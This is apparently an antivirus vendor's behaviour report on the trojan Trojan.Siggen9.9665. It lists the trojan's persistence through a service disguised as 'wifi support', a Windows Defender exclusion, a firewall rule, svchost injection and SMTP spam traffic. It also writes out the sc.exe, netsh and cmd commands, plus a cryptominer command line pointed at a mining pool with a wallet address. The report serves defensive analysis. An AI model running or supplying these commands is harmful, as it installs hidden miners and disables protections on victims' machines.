Trojan.Siggen9.9665

Technical Information

To ensure autorun and distribution

Creates the following services

[<HKLM>\System\CurrentControlSet\Services\wxwlpsmj] 'Start' = '00000002'
[<HKLM>\System\CurrentControlSet\Services\wxwlpsmj] 'ImagePath' = '%WINDIR%\SysWOW64\wxwlpsmj\conbmwey.exe /d"<Full path to file>"'
[<HKLM>\SYSTEM\CurrentControlSet\services\wxwlpsmj] 'ImagePath' = '%WINDIR%\SysWOW64\wxwlpsmj\conbmwey.exe'

Malicious functions

To complicate detection of its presence in the operating system,

adds antivirus exclusion with following registry keys:

[<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\wxwlpsmj' = '00000000'

Executes the following

'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul

Injects code into

the following system processes:

%WINDIR%\syswow64\svchost.exe

Modifies file system

Creates the following files

%TEMP%\conbmwey.exe
%WINDIR%\syswow64\config\systemprofile:.repos

Moves the following files

from %TEMP%\conbmwey.exe to %WINDIR%\syswow64\wxwlpsmj\conbmwey.exe

Deletes itself.

Network activity

TCP

HTTP GET requests

http://www.google.com/

'google.com':443

'ef#######.registrar-servers.com':25

'ms#####p-mx2.hinet.net':25

'54.##0.132.212':443

'um####.hinet.net':25

'mx.###zta.onet.pl':25

'ma##.#ompanex.com':25

'ff######x-vip2.prodigy.net':25

'as#.##flexion.net':25

'go###e.co.uk':443

'ms#####.##c.protection.outlook.com':25

've#####.com.1.arsmtp.com':25

'd1######.#ss.barracudanetworks.com':25

'mx##.#nfostud.com':25

'mx#.##x.sunrise.ch':25

'ne##o.com':25

'ma##.#-email.net':25

'li######.#lc.protection.outlook.com':25

'ir#####t.zucarmex.com':25

'pa####x.above.com':25

'in###gram.com':443

'mx#.##.iphmx.com':25

'gs#####.##il.protection.outlook.com':25

'alt2.aspmx.l.google.com':25

'52.##.114.21':443

'15#.#01.198.214':443

'ga#####.##il.protection.outlook.com':25

'43.#31.4.7':443

'93.##9.69.109':416

'85.##4.134.88':480

'mt##.##0.yahoodns.net':25

're###o.uniba.it':25

'mi####.bittubeapp.com':13333

'mx###.##il.am0.yahoodns.net':25

'alt1.gmail-smtp-in.l.google.com':25

'mx#.#ol.com.br':25

'10#######5.pamx1.hotmail.com':25

'mu######-mx03.multinet.no':25

'ma##.sing.no':25

'ci###########l-com.mail.protection.outlook.com':25

'mx####.##il.gm0.yahoodns.net':25

're####1.veepee.com':25

'es##########0i.mail.protection.outlook.com':25

'ed#######.#ail.protection.outlook.com':25

'no##########m.mail.protection.outlook.com':25

'ns#.##unnmore.no':25

'eu#.###.#rotection.outlook.com':25

'mx#.##tsolmail.net':25

'mx#####.#ail.gm0.yahoodns.net':25

'ho#########.olc.protection.outlook.com':25

'18#.#65.238.150':416

'78.#1.67.23':416

'17#.#.114.177':416

'46.#.52.109':416

'46.#8.66.2':416

'hr#########.mail.protection.outlook.com':25

UDP

DNS ASK mi##########m.mail.protection.outlook.com
DNS ASK lg#.com
DNS ASK lg###tp.lge.com
DNS ASK sa#.rr.com
DNS ASK pk#####.#sg.pkvw.co.charter.net
DNS ASK so###ome.com
DNS ASK ex###mobil.com
DNS ASK ma####.exxonmobil.com
DNS ASK ip##fo.io
DNS ASK mx#######801.gslb.pphosted.com
DNS ASK ho##ail.de
DNS ASK sa##cpa.com
DNS ASK mx#.#ate.com
DNS ASK go###e.co.uk
DNS ASK ve##hio.com
DNS ASK ve#####.com.1.arsmtp.com
DNS ASK ms#.com
DNS ASK ms#####.##c.protection.outlook.com
DNS ASK sa###eisen.com
DNS ASK d1######.#ss.barracudanetworks.com
DNS ASK as#.##flexion.net
DNS ASK na##.com
DNS ASK mu##.edu
DNS ASK ti###linet.it
DNS ASK ff######x-vip2.prodigy.net
DNS ASK ag###.stm.it
DNS ASK mx.#tm.it
DNS ASK si###sky.com
DNS ASK ma####02.lmco.com
DNS ASK ms##.hinet.net
DNS ASK ms#####p-mx2.hinet.net
DNS ASK ho##ail.fr
DNS ASK um###.hinet.net
DNS ASK um####.hinet.net
DNS ASK ta####.itg.ti.com
DNS ASK ju##.com
DNS ASK co###nex.com
DNS ASK ma##.#ompanex.com
DNS ASK ms#.#inet.net
DNS ASK ya##o.co.id
DNS ASK vp.pl
DNS ASK mx.###zta.onet.pl
DNS ASK gl####rotter.net
DNS ASK re###.#lobetrotter.net
DNS ASK be###outh.net
DNS ASK mx.##s.untd.com
DNS ASK li##ro.it
DNS ASK in###tud.com
DNS ASK hr##ock.com
DNS ASK mx##.#nfostud.com
DNS ASK mx#.##.iphmx.com
DNS ASK ho##ail.es
DNS ASK ho##ail.it
DNS ASK ju###otcom.com
DNS ASK gs#.com
DNS ASK gs#####.##il.protection.outlook.com
DNS ASK go##yo.net
DNS ASK so##pi.it
DNS ASK di####lbrainy.com
DNS ASK as##nte.com
DNS ASK me####states.com
DNS ASK alt2.aspmx.l.google.com
DNS ASK li#e.dk
DNS ASK sy####etwork.com
DNS ASK mx#######a01.gslb.pphosted.com
DNS ASK mo#####e.wellsfargo.com
DNS ASK cl#######.us.messagelabs.com
DNS ASK ga#.com
DNS ASK ga#####.##il.protection.outlook.com
DNS ASK ne####el-mail.com
DNS ASK ma###adev.com
DNS ASK qc###tacar.com
DNS ASK qu###actory.com
DNS ASK alt1.aspmx.l.google.com
DNS ASK sm##.##cureserver.net
DNS ASK su##ise.ch
DNS ASK mx#.##x.sunrise.ch
DNS ASK li###dot.com
DNS ASK ma##.#-email.net
DNS ASK pi##eer.com
DNS ASK mx#######f01.gslb.pphosted.com
DNS ASK br#.#upont.com
DNS ASK mx#######d02.gslb.pphosted.com
DNS ASK sb##ail.com
DNS ASK li##.com
DNS ASK zu###mex.com
DNS ASK ir#####t.zucarmex.com
DNS ASK d1##as.com
DNS ASK si###ail.com
DNS ASK pa####x.above.com
DNS ASK os#.edu
DNS ASK mx#######d01.gslb.pphosted.com
DNS ASK in###gram.com
DNS ASK gl####.t-bird.edu
DNS ASK li######.#lc.protection.outlook.com
DNS ASK rt####le.itg.ti.com
DNS ASK sm####n.libero.it
DNS ASK ro###.itg.ti.com
DNS ASK ra###france.com
DNS ASK al##a.com
DNS ASK ad#####mx402.alcoa.com
DNS ASK tm#.no
DNS ASK mu######-mx03.multinet.no
DNS ASK jv###ect.com
DNS ASK sa#####synthelabo.com
DNS ASK ma####b.sanofi.com
DNS ASK no####tipping.no
DNS ASK ad#l.no
DNS ASK 10#######5.pamx1.hotmail.com
DNS ASK cl######.eu.messagelabs.com
DNS ASK ci###########l-com.mail.protection.outlook.com
DNS ASK fe###.kommune.no
DNS ASK ma##.sing.no
DNS ASK ba###net.com
DNS ASK mx######21601.pphosted.com
DNS ASK ao#.com
DNS ASK mx####.##il.gm0.yahoodns.net
DNS ASK am###pie.com
DNS ASK jp####anfleming.com
DNS ASK ci####dusoleil.com
DNS ASK sg#####.swatchgroup.com
DNS ASK lo###nes.com
DNS ASK ya##o.gr
DNS ASK ya##o.com
DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
DNS ASK mt##.##0.yahoodns.net
DNS ASK st####ur.uniba.it
DNS ASK 19#.###.#11.95.bl.spamcop.net
DNS ASK re###o.uniba.it
DNS ASK co##axx.no
DNS ASK 19#.###.#11.95.zen.spamhaus.org
DNS ASK ma###.intility.com
DNS ASK 19#.###.211.95.in-addr.arpa
DNS ASK bo#.com.br
DNS ASK mx#.#ol.com.br
DNS ASK mi####.bittubeapp.com
DNS ASK 19#.###.#11.95.cbl.abuseat.org
DNS ASK gm##l.com
DNS ASK alt1.gmail-smtp-in.l.google.com
DNS ASK ya##o.fr
DNS ASK mx###.##il.am0.yahoodns.net
DNS ASK me####rservices.com
DNS ASK ma######.safrangroup.com
DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
DNS ASK re####1.veepee.com
DNS ASK mx#######501.gslb.pphosted.com
DNS ASK google.com
DNS ASK an###.kommune.no
DNS ASK wa##doo.nl
DNS ASK gi###.kommune.no
DNS ASK ns#.##unnmore.no
DNS ASK em###sic.com
DNS ASK ho##h.no
DNS ASK ca#####esoftware.com
DNS ASK mx#.##tsolmail.net
DNS ASK em###choice.com
DNS ASK mx#.#twork.nl
DNS ASK zi##er.com
DNS ASK ef#######.registrar-servers.com
DNS ASK ya##o.co.in
DNS ASK mx#####.#ail.gm0.yahoodns.net
DNS ASK ma##.com
DNS ASK mx##.mail.com
DNS ASK we#.de
DNS ASK mx###03.web.de
DNS ASK ho##ail.com
DNS ASK ho#########.olc.protection.outlook.com
DNS ASK li#e.fr
DNS ASK eu#.###.#rotection.outlook.com
DNS ASK ca##el.nl
DNS ASK dh#.nl
DNS ASK li#####ly.amphora.nl
DNS ASK av##tis.com
DNS ASK es###roup.com
DNS ASK es##########0i.mail.protection.outlook.com
DNS ASK ti##ali.it
DNS ASK et###.#ail.tiscali.it
DNS ASK va####.norbord.com
DNS ASK ed##c.com
DNS ASK ed#######.#ail.protection.outlook.com
DNS ASK ne##o.com
DNS ASK gw####.fortimail.com
DNS ASK no###tock.com
DNS ASK gr#k.no
DNS ASK el####o-diesel.no
DNS ASK so##ico.no
DNS ASK dr####n.kommune.no
DNS ASK ma###.##ammen.kommune.no
DNS ASK ke####.itg.ti.com
DNS ASK la###.itl.saic.com
DNS ASK la#####ercomunicare.it
DNS ASK ma##.###etepercomunicare.it
DNS ASK no##########m.mail.protection.outlook.com
DNS ASK ya##o.ca
DNS ASK hr#########.mail.protection.outlook.com

Miscellaneous

Creates and executes the following

'%WINDIR%\syswow64\wxwlpsmj\conbmwey.exe' /d"<Full path to file>"
'%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\wxwlpsmj\' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\conbmwey.exe" %WINDIR%\SysWOW64\wxwlpsmj\' (with hidden window)
'%WINDIR%\syswow64\sc.exe' create wxwlpsmj binPath= "%WINDIR%\SysWOW64\wxwlpsmj\conbmwey.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
'%WINDIR%\syswow64\sc.exe' description wxwlpsmj "wifi internet conection"' (with hidden window)
'%WINDIR%\syswow64\sc.exe' start wxwlpsmj' (with hidden window)
'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)

Executes the following

'%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\wxwlpsmj\
'%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\conbmwey.exe" %WINDIR%\SysWOW64\wxwlpsmj\
'%WINDIR%\syswow64\sc.exe' create wxwlpsmj binPath= "%WINDIR%\SysWOW64\wxwlpsmj\conbmwey.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
'%WINDIR%\syswow64\sc.exe' description wxwlpsmj "wifi internet conection"
'%WINDIR%\syswow64\sc.exe' start wxwlpsmj
'%WINDIR%\syswow64\svchost.exe'
'%WINDIR%\syswow64\svchost.exe' --algo=cn-heavy/tube -o mining.bittubeapp.com:13333 -u bs2vRiVmw72dvArkbJKbtz917RXckezk9W9STXQKq1SFKmQAbfF24KkWUNqxeNZHaDJftC49YzUhiDSPSYZtn1BR2R2Z3K3Fw.60000 -p x -k

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